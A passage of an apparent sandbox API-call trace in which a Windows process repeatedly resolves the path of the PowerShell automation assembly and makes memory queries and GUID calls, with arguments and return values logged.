lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c640, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c640, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.912] VirtualQuery (in: lpAddress=0x22bd90, lpBuffer=0x22cc50, dwLength=0x30 | out: lpBuffer=0x22cc50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.912] VirtualQuery (in: lpAddress=0x22bd90, lpBuffer=0x22cc50, dwLength=0x30 | out: lpBuffer=0x22cc50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.913] VirtualQuery (in: lpAddress=0x22bd90, lpBuffer=0x22cc50, dwLength=0x30 | out: lpBuffer=0x22cc50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.913] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.913] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.914] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.914] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.914] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.915] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.915] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.915] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.915] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.915] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.916] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.916] VirtualQuery (in: lpAddress=0x22b9c0, lpBuffer=0x22c880, dwLength=0x30 | out: lpBuffer=0x22c880*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.916] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.917] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.917] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.917] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.917] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x414d4aef, Data2=0xdbf1, Data3=0x4aba, Data4=([0]=0x80, [1]=0x32, [2]=0x7e, [3]=0xb6, [4]=0x28, [5]=0x61, [6]=0x11, [7]=0x2e))) returned 0x0 [0054.917] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.917] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.917] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.917] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.918] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x2ff17720, Data2=0xf22f, Data3=0x4617, Data4=([0]=0x89, [1]=0xcb, [2]=0xd4, [3]=0xaa, [4]=0xdc, [5]=0x36, [6]=0x21, [7]=0x1b))) returned 0x0 [0054.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.919] 